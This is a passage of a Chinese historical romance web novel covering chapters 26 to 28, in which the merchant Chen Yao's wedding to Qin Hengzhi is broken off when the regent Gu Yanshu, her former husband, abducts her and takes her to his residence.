他杀亲哥,夺皇权,血腥遍布整个皇宫,一时间人尽皆知。
当今皇上还小,继位时不过是九岁的孩童,都是冯太后一手扶持,耐心督促,才有今日国之安泰景象。
当然这些也只是耳闻
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,皇宫深不可测对他们这些老百姓来说触及不到。
晓依还靠在窗边,她看得入神连手中的动作都停了。
“摄政王?”陈窈喃喃低声说:“应是平阳公主的……七哥。”
她生意开得大,不知从何时开始传入宫中,先皇最小的公主得知后,极喜爱她做的发簪钗环,一年中有几次会宣陈窈进宫,让她为自己挑选金饰。
“那您可在宫中见过摄政王?”晓依转身,好奇地问:“或者其他贵人?”
“每次都是李公公领我进长安殿,外男不可亲女眷,这是规矩,除了公主殿下我谁都没见过。”陈窈顿了顿,双眼一白,“他杀人如麻有什么可看?”
“远远望一眼而已,他坐在轿子里又看不到咱们。”晓依兴致极大,喊陈窈过来看,“快到咱们楼下了,姑娘你过来看一眼,可威武呢!”
陈窈执拗不过她,移步上前,目光落在某尖的轿头上,尚未见全貌,只感一股华贵之气呼之欲出。
恰巧此时,有人叩门,在门外恭敬地说:“姑娘,秦公子在楼下等您。”
陈窈脚步一停,收回视线。
随即,她欢天喜地地提裙跨步而去,“请他到房中等我。”
晓依缓缓转头,只见卷起的裙角消失在视线中,她望着桌上的钗子叹了叹气,小声嘟囔地说:“秦公子有什么好的……”
隔壁店卖绸布的秦恒之老是打着为母买簪的由头,常出入金瑶楼,打眼人都知道他醉翁之意不在酒,每每都想与她家窈窕艳丽的老板娘多搭上些话。
没料到,两人一来二往到真生出些许情意。
两家店喜结连理,不久便成婚,街坊邻里都说是郎才女貌,喜上加喜。
晓依估摸是里面唯一一个丧着脸、反对这门亲事的人,她不喜欢秦公子,许是旁观者清的道理,她总是觉得这位秦公子看着陈窈的眼神有点色,有点不怀好意,还有点虚伪。
陈窈听后没当真,只是不在意地笑了下,拿她打趣般说:“小依依呐~竟不知道你还会看人呢?这男人要是对心爱的女人没欲望才应该担心,懂吗?”
晓依哪里懂这些,噘着嘴仔细琢磨她的话。
陈窈靠近她,贴近她耳边小声絮语。
晓依脸顿时如蒸熟的鸭子一般红彤彤,似懂非懂地点点头后一溜烟地跑了,留下陈窈作弄她后的爽朗笑声。
金瑶楼,四层小间。
“恒之哥哥来了。”陈窈柳腰轻扭,热情地招待一板一眼端坐着的男人,“她们真是,也不知道给倒上茶。”
孤男寡女共处一室,秦恒之比起陈窈的落落大方,显得不自在许多,他双手搭在膝盖,反复搓了搓,“这样不合礼数。”
陈窈放下倒好的茶盏,双肘抱胸,眼带意味深长的笑意盯着他颇为局促的脸。
她这个准相公哪里都好,就是太胆小了,最初连牵手都是她主动,更别说亲吻了。
“你总是看着我作甚?”秦恒之嘴角一咧,摸了下脸,还以为有什么灰挂在脸上。
“恒之哥哥好看,我为何不看?”
陈窈拉椅坐他身边,秦恒之相貌端庄,五官周正,尤其是一双清明的眸子,看着她犯傻的样子特别好看!
秦恒之脸一红,他心里欢喜,但嘴上还是把礼义廉耻又重复一遍。
陈窈娇气轻哼,“咱们不久就成亲了,没什么不好。”
秦恒之振振有辞:“我娘说这样有失大丈夫风度,让咱们成了婚商议再……”
陈窈打断他,“别说你娘,就说你想不想?”
秦恒之眼睛微微瞪大,对上她的视线结巴地说:“想……想什么?”
“你想不想亲我?”陈窈拉过他的手,星星点点的眼眸扬起看他。
26. 再遇
陈窈成过亲,对男女之事了如指掌,对待秦恒之这样有礼又容易害羞的翩翩君子,她最是游刃有余。
秦恒之的心咚咚地跳,加速到呼吸都顿了下,他望着陈窈白如瓷的脸蛋,泛着女儿家的红润,配上她闪烁的双眸,媚而不妖。
他低头,不自觉地舔了下嘴唇,似鼓起万般的勇气,“我……”
岂料,这时陈窈却与他背过了身,娇声娇气地说:“逗你玩呢!”
女人的芳香顿时从手中消散,秦恒之眼中流转的不舍转瞬即逝。
“今日上门所为何事?”陈窈问他。
“送礼。”秦恒之老实说:“我娘让我给你送礼。”
他从袖中拿出一只玉镯,其质地细腻,色泽光润,陈窈瞬间识出其价值,她惊了惊,“这是南疆产的上好的玉镯?”
“我娘说不能亏待你,虽已送了很多聘礼,但这是她出嫁时她婆母送她的,现在她传给你。”秦恒之按她母亲交代的话,给陈窈传递清楚。
陈窈含羞一笑,“你母亲的心意和你的心意,我都明白。”
秦恒之笑了笑,“你戴上?”
“好!”
陈窈长袖轻轻往上拽,晶莹剔透的玉镯似一泓碧水的萦绕,衬在她如雪的皓腕上,泛着幽幽光泽。
秦恒之双眼似被她迷晕般,美人配美玉,他娘说得没错,陈窈戴上果然好看。
“好看吗?”陈窈粲然一笑,扬起的嘴角明媚动人。
秦恒之狠狠地点头,赞扬道:“你美!”
你美?
陈窈脑海的记忆忽地一闪,她眼色骤变,笑容定格。
一模一样的两个字曾经也有人对她说过。
男人呆呆却坚定的面孔闪烁在秦恒之的脸上,开口轻唤她窈娘,夸她美说她好,还……说些不入耳的荤话,让她脸红。
画影重叠,回忆翻涌。
陈窈眼露苦色,顿时失了神。
“你怎么了?”秦恒之紧张地看了看她腕子上发亮的镯子,着急地说:“是不喜欢吗?”
“没有没有。”陈窈神情低落,像从悬崖跌落般低沉,她把玉镯取下,“我不太舒服……”
“哪里不舒服,很严重吗?”秦恒之急切地关心她说。
“许是累了一上午,睡一觉就好。”陈窈敷衍一笑,想快些打发他走。
“好、好好……我明天再来。”秦恒之最后瞧了一眼陈窈,轻轻关上了门。
秦恒之从金瑶楼出来,抬头对着楼上熄了灯的房间,自顾自地叹了叹气,“怎么忽然不舒服了?看着也不像病了啊……”
随后,他面色不太爽朗地甩袖而去。
月色稀薄,大雾萦绕。
陈窈无心安睡,最开始她几个晚上都睡不着,甚至半夜从梦中惊醒,一醒来浑身的冷汗,手脚冰凉。
她知道,她所拥有的一切都是裴照七换的。
他现在会做什么呢?
以她每月收到的沉甸甸的银两看,他应成为独一无二的男花魁了吧?
越是这样,陈窈就越心虚,她迫切要拥有一段崭新的婚姻摆脱在花颐村的一切,斩断与裴照七的过往。
还好,她现在有了秦恒之,只要顺利成婚,有自己的小孩,她便宛如新生。
——
翌日,陈窈朦胧的睡意被晓依急急忙忙的敲门声,叨扰醒来,“姑娘,大事不好了?”
陈窈揉了揉还没睁开的眼,“遇到盗贼了?”
“盛明朗死了……衙门的人来传您去问话!”晓依被吓坏了,哆哆嗦嗦地说。
“死了就死了,与我有什么干系?”
陈窈觉得莫名其妙,卓资的相公死了而已,又不是她杀的,天大的事她都要继续睡,说着蒙头盖被躺了下去。
晓依说:“衙门怀疑是妻杀,您又一向与盛夫人交好,就……就成第一嫌疑的共犯。”
“什么?”陈窈大惊,掀被而起。
青天白日,陈窈被几位人高马大的差役押进公堂,她昨晚本就没睡踏实,眼底顶着两团乌青,今儿个莫名搅进命案,着实倒了霉运。
衙门公堂肃静,青天大老爷八字胡一撇,危坐在高堂之上,威严地问了她几个问题。
陈窈双手发抖,勉强镇定着从这几个问题里理清这案子同她的关系,细细想来还真是匪浅。
昨日寅时,有渔夫在河边发现一具漂流的尸体,立即报了官,仵作判断应是下午时分死的,体内含大量五石散。
盛明朗在嬅京有名的画家,喜欢水墨画的文人无一不知,若排除自杀,衙门很快锁定在他家夫人卓资身上。
原因无他,盛夫人最好下手,最重要的是她有很强的动机。
官府的人一打听就知道,他家即将要纳妾,夫妻关系不合,半夜的吵闹声冲破墙头。
卓资成了嫌疑人,她接触过的所有人都要盘问,尤其是她是否在金瑶楼,这段时间她可欲盖弥彰地去作案,若是合伙,官老爷的断定便是板上钉钉的事实。
陈窈脸色惨白,光是听着她手心里就出了一把冷汗,她镇定地讲述事情经过,若真是她嘴抖一下,她这个老板娘被抓进牢里,金瑶楼的下场必同从前的金禧堂一般。
她讲到一半,公堂上突然有人上前,在官老爷耳边悄声说了些。
陈窈见他神色微变,紧接着便放她回去了,一点苦都没让她吃。
她一头雾水但也庆幸,看情形应是有新的证据能证明与她无关。
回到金瑶楼,陈窈惴惴不安,她隐隐觉得盛明朗的死尚有蹊跷,且与卓资有脱不掉的干系。
仔细想来,那碗茶怎会让她睡这么久?
陈窈眼珠流转,喊来晓依询问:“卓资带来的茶还有茶渣吗?”
晓依想了想,点头道:“有。”
陈窈:“你把渣子拿到医馆问,为何喝完会引起嗜睡之症?”
“好。”晓依说:“您也怀疑盛家夫人吗?”
“我不知道。”陈窈冷静后,分析说:“但不管是不是她,一旦追查到金瑶楼必会受拖累,咱们先暗中调查,也好把握对策。”
晓依:“是,姑娘想得周全,我这儿就去办。”
陈窈抬眼望着晴空万里,心中默默祈祷,希望一切都只是她的猜想。
——
砖红瓦绿,威严气派。
陈窈照例进宫侍候长乐公主,她跟随李公公穿行于连绵的宫殿,几排乌樟树姿挺拔,飘来淡淡的清香萦绕鼻尖,她碎步往前走,不敢抬头四处打量。
来到广灵殿前,不断有瓷器珠宝从高大的门向外砸出,发出清脆的碰撞,几名进进出出的宫女们脸上挂着焦灼。
“唉,咱家就送你到这儿。”李公公听着里面的声音犯起难,留给陈窈一个好自为之的表情便拂衣而去。
陈窈:“……”
长乐公主是先皇唯一的女儿,掌上明珠般被捧着,难免骄纵跋扈,她对公主次次小心候着,生怕哪句话冲撞了公主,惹麻烦。
尤其是这个她竟撞到这个风口来送金簪,怕是要比昔日更加谨慎行事。
陈窈深吸了一口气,挺胸向殿内走去。
殿内正位,缕缕白烟如盘旋的长龙冒出,烟气吹散,公主玉颜从中显露,眉头轻蹙,她瞥了眼陈窈,更是神色恹恹。
陈窈欠身行礼,公主纤纤玉指撑在额角,掀了掀眼帘,宫女接到旨意让陈
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窈退下。
看来今天公主是无心摆弄金簪了。
她原封不动地簪子回,一分钱没赚到,还白白浪费她跑一趟……
陈窈为了银子,壮着胆子走上前去,“敢问公主为何面露愁色?”
“本宫的……皇兄要过生辰。”公主懒懒地打量了她一眼,顿了顿道:“可他们素日里锦衣玉食什么也不缺,也不知送些什么好。”
陈窈:“这简单,民女有一个法子。”
公主一听,撇下手中价值连城的宝物,正了正身看她。
陈窈微躬身,缓缓地道:“既是值得公主花心思的兄长,必得真心对待,公主不妨为他做道佳肴,宫中御膳再好,也比不上公主亲力亲为的膳食,此礼必定稀奇珍贵!”
话落,殿内一片安静。
陈窈摒了一口气,良久才听公主道:“是个好法子。来人,赐茶入座!”
“多谢公主!”陈窈说。
她站了许久,是双脚疼腰也酸,屁股刚要坐下,只听公主说:“可本公主根本不会做饭。”
公主采纳了陈窈的提议,但她千金玉体又怎会亲自下厨煮饭。
垂柳下公主闲散靠于雕花榻,几名宫女左右簇拥候着,她一个眼神扫去,旁边的宫女端茶给她,她手还未抬起,宫女又将点心递过……
陈窈很有把握,不光是近几年她厨艺进步,更因宫中的琼浆玉液数不胜数,而民间各色美食公主鲜少品味,物以稀为贵便是这个道理。
不多会儿,一碗鲜香的馄饨出锅,香味窜出。
公主不急于品尝,她身边的掌事宫女春明上前一步,从袖中拿出试毒银针,细小的针头在汤水与馄饨各蘸了几下,并无变深色痕迹。
宫女验过无毒后,公主这才拿起勺吹了吹,轻咬一小口放进嘴中。
她嚼了几口咽下,只说了一个字:“赏!”
陈窈松了一口气,领着满满的赏赐回了金瑶楼,皇家所赐的金银足够她一年都不用开业做生意,日子也能过得富足,但她不会止步于此,钱越多越好。
公主吃得只剩半碗馄饨,一抬眼就见一道气宇轩昂的身影朝她走来。
男人一身暗袍,英姿飒爽,俊眉挺立,远看阴郁如山涧要落雨的沉天,近看面如冰雕,一双比墨还沉的眸子泛着凛凛寒光,叫人捉摸不透。
顾璇儿第一次见他,被他沉冷的眉间吓了一跳,听说他从尸山火海中走出,找到他时满身血色,都不是自己流的血,顾璇儿更加害怕他,不过顾宴书对此却自若得很,没察觉别人怕他似的。
顾璇儿正要起身行礼,他大手一抬,挺立笔直地坐下,“不必多礼。”
刚才还骄纵的公主,看到他顿时变鹌鹑一样,圆圆眼睛眨了几下,“七哥怎有空来找璇儿?”
“本王见你不在殿内才来寻你。”顾宴书手一递,春明他带来的稀世珍品收进,这是他给公主补的生辰礼。
“多谢七哥!”这礼一看分量就不轻,顾璇儿谢过。
她这位七哥看上去就不好招惹,顾璇儿打算先行一步,但还未开口便听他说:“馄饨?”
顾璇儿眼力极高,吩咐说:“给七哥上一碗!”
顾宴书垂着眼帘,淡淡的清汤上撒了把葱末,点缀的油香冒出,他眼中飘过思绪万千,随后拿起勺舀了一只,口中鲜肉散开,香味弥漫口腔。
鲜甜的汤水与肉质的醇厚在嘴中生津,仿若将他带回一个散着夕阳的午后,仔细看光中还站着一个比光更耀眼的曼妙身影。
顾宴书不知在想什么,品味了半晌,似喃喃低语道:“好久没吃到这个味道了。”
顾璇儿嬉笑,随后脱口而出,“说的好像你吃过一般。”
27. 警告
风吹柳枝,干涩的飒飒声掠过头顶,空气似乎静止了几刻。
顾璇儿意识到自己说错话,瞪着眼睛,立即做了个噤声的动作。
顾宴书很淡地勾了勾唇,似心情愉悦也似自嘲般地轻笑。
但在顾璇儿眼中却是十分诡异的一幕,她与春明互看了眼,两人皆是一愣,不明他寓意为何。
而有他在身边,顾璇儿本吃得很香的馄饨顿时一点胃口都没有。
顾璇儿没话找话,热心地说:“七哥若喜欢吃,隔日我叫人做了送你府上。”
顾宴书:“不必,馄饨要现吃的好。”
“……”
顾璇儿似被泼了一盆冷水般尴尬,后半程她都没敢再与顾宴书说上半句话,只一点点嘬馄饨汤……
如她所想那般,顾宴书吃了个碗空才舍得走。
望着他徐徐缓步的身影,顾璇儿装模作样地抱紧双肘,抖了抖说:“他这么冷,也不知道太后娘娘会舍得把冯家的哪个姑娘嫁于他。”
春明却笑了笑,“殿下虽不爱笑,但还是很宠公主。”
顾璇儿眼睛一亮,“七哥刚才送来的是什么?”
春明:“是江南少有的紫玉萤石。”
顾璇儿:“真的吗?快去看看!”
碧空如洗,顾宴书独身一人漫步,而出皇宫必经的竹林路旁,老太监似等候他许久。
他邪魅一笑,微微欠了欠身,嗓子细尖尖地道:“参见摄政王,太后娘娘请您移步。”
顾宴书像是料到如此般,转道去了慈宁宫。
太后仪容端庄地危坐,头戴双龙点翠头簪,雍容华贵,纵使两鬓已有些许白发,但丝毫不影响她眉宇的威仪。
等顾宴书行礼后,她唇边勾起淡淡的笑,颇为慈爱却又严肃地说:“刚从璇儿那回来吧,见你们兄妹相处得融洽,哀家就放心了。”
顾宴书轻抿了口热茶,长长的睫毛盖住他微沉的双眸。
太后看似笑面,实则是在告诉他,他的一举一动都在她的眼皮子下行动,可这天下终究不姓冯,这也是顾宴书死里逃生的勇气。
只要他还有一口气在,任何人都不可妄动先皇打下的江山。
“太后娘娘身体健康,才是我们做儿臣的放心。”顾宴书抬起眼,没有丝毫畏惧的目光与她对上。
两相对视,像两把锋利的刀碰撞一起,令本就空荡的宫殿霎时如冰窟一样寒。
冯太后久居深宫多年,听出他有意暗嘲她身子骨老,不如从前那般利落。
顾宴书的母妃裴氏侯府嫡女,同先帝打过好几场胜仗,与冯家各掌一般的兵权,但冯家是后来者居上,要想真正做到心服口服,整个兵权需全握在自己手中才安心。
这也是两家僵持许久的原因所在。
太后忌惮顾宴书的本事,当年四处追杀他,都快将嬅京翻了个底朝天,可他人却像是消失了般,竟连半点影子都没寻到。再见时,他滚着鲜血走到她跟前,叫她不得不顾忌自己贤良的名声带回来。
如今顾宴书完整无缺地站在她面前,她不得大意,再放他从手掌心溜走。
“难为你孝顺。”冯太后眼角的笑意不改半分,转道:“哀家叫你来也不为别的,璇儿贪玩,在宫中养几年也好,婚事姑且放一放不急,但哀家实在看不过偌大的府邸你一人,实在孤独。”
“哀家知道你这孩子眼高,普通的姑娘家你定瞧不上,哀家有个貌美的孙侄女,是个可儿,也会伺候人,你与她成家不算委屈你。”
“嗯。”顾宴书对此低低一哼,对此不答应也不拒绝。
冯太后脸上的笑容僵硬,宫殿陷入一片沉寂,寥寥几分尴尬弥漫。
旁边伺候的老太监眼疾手快,趁着给太后端茶的功夫接过话来,“是啊,摄政王别辜负太后娘娘的一片心意。”
“多谢太后记挂儿臣。”顾宴书起身谢过,又幽幽道:“不过,太后娘娘可是忘了,先皇才去一年,按规矩宫中不宜嫁娶,这喜事恐怕是要搁置。”
不等太后开口,顾宴书神色淡然,“若太后无别的事,儿臣先行告退。”
华贵的暗袍消失在慈宁宫门口,下一刻只听里面传来茶盏打碎的清脆声响。
“你没听他搬出先皇来堵哀家的嘴吗!”冯太后怒火攻心,冷声一哼,“国丧是从先皇去世算起,他可倒好,从他回宫开始算!”
“大娘娘,气伤身。”老太监弓着身子,笑眯眯地提醒道:“咱不还有一人可用吗?”
冯太后眉眼轻抬,厉声说:“告诉她日子别悠闲过了头,她弟弟还要靠我们找!”
“是。”老太监领命退下。
——
金瑶楼,三层。
晓依拿出药方:“姑娘,这是查的药方。”
前两天,陈窈让她查盛夫人给的茶水,现在有结果了。
“曼陀罗花……”陈窈注意到安神茶中独特的一味药,轻轻低喃。
晓依:“这是蒙汗药的成分。”
“我知道了。”陈窈心中已了然有数,她将药方放进炭盆,问起:“卓资有愧于我。”
自从陈窈因卓资这事去了趟衙门开始,她像是撞了邪一般,店中账本记错,忘记采买,盘丝时还不小心扎到自己的手。
陈窈准备去寺庙拜拜佛,原也不信这些,但图个安心,店里交给晓依打理后,她提裙上了马车。
陈窈撩开车帘,吓了她一跳,“你什么时候坐我车里?”
“我怎会让你一个人出门呢?”男人一把桃花折扇护到胸前,嘴边弯起的弧度似比姑娘家还要俏几分,他大言不惭地说:“当然要保护你的安危。”
“你就是最大的危险!”陈窈无可奈何,提裙坐上车,轻声叱他。
此人名叫林羽植,一个游山玩水的闲散诗人,曾饿晕在陈窈的店门口,她瞧他可怜便给了他一口饭吃,谁知这人彻底缠上她了。
“你真要嫁人了?”林羽植不甘示弱地说:“就因为他家有人铺子,我竟输在这一步了?”
“恒之哥哥细心,对我也很好。”陈窈随口一应。
秦恒之总是一副唯唯诺诺的样子,像是只在地道的老鼠,长得也尖嘴猴腮,林羽植想到以后两人成家的情景,忍不住啧了一声,质疑她说:“你看人真不准。”
陈窈不想再聊这个,转而问他:“你要去哪?”
林羽植散漫地笑了笑,耍赖皮般说:“闲游四方,所以咱们去的是同一地方。”
看来他是跟定自己了,陈窈叹了口气。
马车悠悠向前行驶,经过涓涓小溪,穿梭浓荫遮天的林子,不时碾过几颗碎石发出咯吱声响。
到地儿后,林羽植神情一顿,“你要去的是普济寺?”
“怎么了?”陈窈没觉不妥,下马车前她戴上帷帽。
普济寺在这一方颇有灵气,引得百姓频来拜佛上香,皇家雅士也常来于此,修身养性,积德累善。
“没什么。”林羽植摆摆手,管她要了一个帷帽。
到了寺中,陈窈转头看他,周围都是女子戴帽避人,只有他一个大男人,陈窈忍不住笑他,“你一个男人怎么也戴?”
林羽植头一歪便知她想什么,于是两只手轻轻一捏,兰花指抚上她肩,掐着嗓子故作姿态说:“人家怕晒,姐姐。”
陈窈:“……”
她鸡皮疙瘩掉一地,后面的路都没同他再搭话。
普济寺后有一观音山,每走几级台阶便有座观世音娘娘的佛像,一个蒲垫一炷香,陈窈虔诚跪拜。
尤其是在有辟邪之佑的佛前多停留了会儿,这一跪再抬头,林羽植却不知所终,
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陈窈无奈只能自己往前探路。
她第一次来对这里不是很熟,跟着人群走着走着就散了。
此地苍翠繁茂,有一汪清澈的小溪,水流潺潺几只斑斓的鱼儿游荡,这地方似乎不属于寺庙内,像是独处的世外桃源。
陈窈累了好半天,在这儿歇歇脚也好。
“何人喧哗?”顾宴书放下手中的书。
凌雲从门外闪现,抱拳说:“回王爷,是……王妃,她将您荷塘养的鱼都……抓了。”
那池子里的鱼价值极高,都是王爷珍爱的品种,平日里几个下人们细心呵护,生怕有任何闪失。
顾宴书十分舍得,吩咐他说:“再放几条进去。”
陈窈见此鱼长得稀奇,做了个勾钓了几条上来,她也不白拿留下了银钱。
正准备原路返回,林羽植像鬼一样冒出,“我找了你好些,竟是躲在这偷懒!”
“你抓了鱼,你怎吃我饿了,正好就地取材。”林羽植不知从哪找来了几枝木棍,架起来就烤。
“佛门圣地怎能杀生。”陈窈惊讶地道。
林羽植:“这可不是普济寺的领域,而且这些鱼本就是来食用,做成荷叶鲢仔鱼极为香甜。”
陈窈不信,“你怎么知道?”
林羽植一顿,继而有底气地说:“我一云游诗人什么不知道!”
没一会儿,林羽植把烤得冒油的鲤鱼往她面前一靠,“你不吃鱼啊?”
“不想吃,有刺。”陈窈可不想因摘刺弄得满手流油,到时候蹭到她新做的裙上可就不好看了。
“娇气。”林羽植轻轻哼了一声,但转而说:“这好办,我给你摘了不就成。”
他既愿意拔刺,陈窈又岂会阻止他。
林羽植挑一块她就吃一块,整整一条大鱼全都进她肚了,以陈窈满意地摸着自己圆鼓鼓的肚子收尾。
林羽植砸开指尖残留的鱼香,没嫌弃她的好吃懒做反倒问起她,“秦恒之没我对你好吧?”
“你怎么就这么不喜欢恒之哥哥。”
林羽植总这样明里暗里寒碜她要成亲的相公,陈窈面上也没光,她眉毛一拧生气地说。
“他但凡不是你相公我都不会说一句嘴。”林羽植哼哼说。
在陈窈眼中林羽植不过是个浪荡公子的形象,要说秦恒之除了无趣点但为人端正,而林羽植连不认识的姑娘都能打趣,得人一脸娇羞他再跑开,她更不喜欢这样的男人。
“那不提她,你有见过像我对你怎么好的人吗?”林羽植洋洋得意说。
对她好?
陈窈甚至不用在脑中搜刮,一道颀长的身影陡然浮现。
林羽植瞬间从她沉默的目光里看出蹊跷,惊了惊说:“不会吧?你竟还有别的相好?”
“没有!”陈窈回过神来,快速矢口否认。
陈窈只是在想她以后的日子,会有人伺候她洗澡沐浴?亦或先一刻钻进被窝里给她暖床吗?
“不说算了。”林羽植没继续聊下去,拿另一条香喷喷的鱼伸进长长帽纱吃。
与此同时,远处的凌雲收回视线,慌慌张张地回来禀报。
顾宴书见此问:“怎么了?”
凌雲:“王妃还带了一个男人吃鱼。”
顾宴书猛地抬眼,起身去窗边,隔着帷帽望那一抹碍眼的影子,狭长的眼眸眯了眯,“他是谁?”
“此人身份四处云游,颇为玄策,尚未查出。”凌雲说:“但即为闲游,有办法能让他远离王妃。”
顾宴书却一如往常地制止道:“不用。”
凌雲清楚顾宴书的脾性,敢对陈窈献殷勤的男人都没有好下场。
“王妃即将要大婚,不可见血。”
顾宴书声音沉冷,嘴边凝起深深的笑意,像冷天出鞘的一把寒刀。
28. 强掳
民俗有约,为避免喜冲喜,大婚前夕男女双方不能见面。
陈窈不是一个守规矩的人,她几次想让秦恒之来,但他却意料之外地没顺从她,只派人送了一套华丽的喜服和首饰,再无多言。
她摸着沉甸甸的衣服,欣慰道:“恒之哥哥有心了。”
“这一看就很贵,穿在姑娘身上肯定好看!”晓依小心将衣服收纳柜中,笑着说。
“今儿个倒是新鲜,竟能听到你说恒之哥哥好话?”陈窈抬眉,打量她一眼。
“我没说他,说的是衣服好!”晓依一撇嘴,还是对他那副不喜欢的样子。
“你若这般讨厌他,以后跟我嫁去该怎么好?”陈窈担心地说。
晓依一点都不惧怕以后的日子,挺起胸有理有据,“我是姑娘的人谁敢惹我!”
“好好好。”陈窃笑她,“你就用你这个嚣张的气焰在秦府横着走吧!”
晓依吐了吐舌头,转身把婚前需带的东西清点了遍。
大婚当日,长长的迎亲队伍气派地迎在楼下,大片红色锦绸铺满地,高挂在房檐的火红花灯摇曳,几声爆竹噼啪声,鼓乐齐鸣,热火朝天。
晓依为她梳洗,女人乌黑的秀发挽起,鲜艳夺目的喜服将她颀长的脖颈衬得雪白,最后嵌满珍珠的花冠轻轻戴上,娇美如花的美人映在铜镜。
“姑娘,你美得像画中的天仙。”晓依都看呆了。
陈窈缓缓起身,衣裙浮动,红绸锦缎勾勒出细细腰身,玲珑有致。再往上看是她面似芙蓉般的玉颜,弯弯柳叶眉下藏着一双含情媚眼,双唇饱满如珠,仙姿佚貌。
“就你嘴甜。”陈窈微微低头,羞涩一笑。
“姑娘笑的更甜!”晓依说。
陈窈从首饰匣里拿出一条珍贵的珠子,对晓依说:“帮我把项链也戴上吧。”
这串碧玉珠原是为救那傻子才卖的,陈窈有了钱的第一件事就是把它赎回来,颗颗珠子圆润饱满,富有光泽,是极为罕见之物。
当年芹姨把这串珠子给她后便咽了气,对她的身世只字不提,陈窈也没强求再问什么,只因芹姨当真是对她还不错,教她识字读书,她一路走来不怨不悔。
陈窈对着镜子又照了照,她满意地微微一笑,只等拜过堂她就能见到日思夜想的恒之哥哥了。
更重要的是从前与她再无瓜葛,就算与那人再相见,又能如何呢?她已是秦家夫人,身世清白,夫家有礼,一切井然有序。
从今日起,她便能睡个安稳觉了。
黄昏落日,霞光应天。
女人坐在床头,等了又等。
“都这个时辰了,门外怎么也没个动静?”陈窈疑惑,这么重要的日子怎都没一人叫她?
“姑娘你别急,我去看看。”晓依出了门。
又是一炷香的时间,盼着盼着晓依却还未回来,陈窈有些着急,手中的绣帕都被她揉皱了几折。
陈窈往窗外望,原本热闹景象如死一般的沉寂,人潮散去。
她心里大叫不好,也不顾礼节,掀开红盖头冲出院。
整个院内空无一人,四处的空旷与寂寥让她眉头紧锁,心跳不止,阵阵阴冷的风从裙底钻入,凉得刺骨。
此时,一座价值不菲轿子幽幽地出现在门口,地面的落叶随风四起,发出窸窣又瘆人的沙沙声。
陈窈定睛,眯了眯眸,这不是接亲的轿子。
一道身影从轿子缓缓步出,男人一袭暗紫色华袍,青玉簪挽起长发,侧面挺立似刀雕,一看便非富即贵,名门望族,陈窈顿感此人眼熟。
待男人不徐不疾地侧过身,陈窈才看清他正脸,面如玉冠,轮廓流畅,剑眉锋利,黑如点漆的眸子不改半分,但薄凉的身影与从前判若两人。
正是被她抛弃的傻子夫君——裴照七!
陈窈身子猛然一震,手中的盖头随风卷落在地,滚了几圈沾染尘埃。
张灯结彩的院落顿时变得无比冷清,寒风萧瑟,寂静黯淡。
男人徐徐缓步向她走来,似乎怕真吓着她,又同她保持一定距离才开口道:“窈娘似乎不认识本王了。”
陈窈退后了几步,不知是不是因风太硬的缘故,她眼底充盈着泪,指尖颤颤巍巍地指着他,“你不是已经……”
顾宴书没等她说完,帮她把未尽的话补全,“本王金尊玉体怎会去那种风流之处。”
本王?他自称本王?
陈窈脑中飞速运转,常年不在宫的且有独立王府的也只有……?
她当年无意救下的男人竟是摄政王?
还……还与他做了四年之久的夫妻,真是荒唐至极!
“不过……”顾宴书嘴角掀起一抹凉凉的笑,“窈娘的心好狠,竟将本王扔到那种地方自生自灭,不愧是本王选的好娘子。”
陈窈咽了咽口水,她是曾辜负他们夫妻一场的情意,但他也骗了她。
她不知哪来的底气,质问他:“原来你根本不傻!”
顾宴书慢条斯理地解释,语气平淡没丝毫愧疚,“本王之前确实有苦难言,不得委身于花颐村,但本王绝不会怪罪窈娘当时的权衡利弊,为补尽咱们错失的夫妻情,本王特意亲自来接你回府。”
陈窈面色苍白,双腿发软,勉强支撑着快要摇摇欲坠的身体。
顾宴书没给她拒绝的机会,“来人,扶王妃上轿!”
几名婢女不知从哪里冒出来,上前就要抓住她。
“走开!不要、我不要……”陈窈两只胳膊被她们拉扯住,一个劲儿地挣扎,续满眼眶的泪如白玉珠大颗大颗地流下。
顾宴书凤眸微凝,注视在她滑落的一行泪上,心软般地抬了抬手,她周围的婢女得令停住。
陈窈见状立马下跪,光洁的额头贴在覆着泥泞的地面上,带着难以平息的哭腔求饶道:“求摄政王放民女一马,您大人不记小人过,念在当年民女为救您当了传家的首饰,还每日每夜地守在您身边的份上,放民女一条生路。”
顾宴书双眉紧蹙,“窈娘这是作甚?”
陈窈:“民女惶恐且蠢笨,不值摄政王在民女身上耗费心神,不如相忘江湖,好聚好散!”
“好一个相忘江湖?”顾宴书眉梢染上阴翳,看着她的目光幽暗又深邃,“倒是有笔账没和你算清,你就想着离开了?”
陈窈欲哭无泪,硬着头皮说:“民女愚钝,请摄政王明示。”
顾宴书压着翻涌的墨眸,冷冷的声音似冰锥,“拿本王的金银和别人成亲?好无道理!”
陈窈骤然昂首,顿时如五雷轰顶:“什么……”
她倒是忘了眼前这位只手遮天的
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摄政王殿下,施舍她些银子对他来说绰绰有余,他也在提醒她,她今时今日拥有的一切都是他所出。
陈窈面如死灰,她忘了怎么被一群婢女掳进花轿了,只知进府之路漫长,再想出府很难,逃出睚眦必报摄政王的手心更难。
夜色流淌,无星无月,甚是漆黑阴森。
陈窈进了府任由几名面无表情的婢女,为她重新梳洗一番,拭去她眼下的泪痕,清理干净她额头上沾染的灰尘。
她试图与她们搭话,但无论她说什么这些婢女都不回话,像是被控制的提线木偶一般。
铜镜处又出现她花容月貌的面孔,却多了几丝死气沉沉,仅仅一下午,晨间那样灵动的新娘便如同换了一人。
陈窈对镜扯出一抹笑,并不好看。
以前有多难她都挺过来了,还怕这一次吗?
陈窈从桌上的水果盘上找到了一把短刀,它不是很锋利,但用来对付裴照七足够。
烛火摇动,美人端坐床榻。
顾宴书推门便见此场景,不哭不闹的新娘在等着他。
他双目一喜,没急于上前,而是目不转睛地欣赏起她的美貌,“窈娘比之前更美了。”
陈窈抬眼望他,眼底无神,没有任何生机,犹如一潭死水。
顾宴书很有耐心,忽视她的不顺从,缓步向她走来。
孤男寡女共处一室,还偏偏在她大婚这一天,陈窈知晓他的意图,不会让他称心如意。
就在顾宴书挨近时,陈窈突然从袖口拿出小刀对着他,她胸口起伏,白如瓷的小手僵直发颤,“别过来,你要敢过来我就用刀刺进你胸口!”
顾宴书似乎对她这种小伎俩未放心上,不过也如她所愿,没再上前,退到红绸布覆盖的桌前,独自坐下,闲散悠然。
他揉了揉眉心,骨节如玉,“窈娘真擅长折磨本王的心。”
陈窈拿捏不住他的想法,试探着说:“若放我一条生路,欠你的银子我会想尽办法还,双倍也行!”
顾宴书狭长的双眼一挑,“你我已有夫妻之实,只差拜堂成亲。”
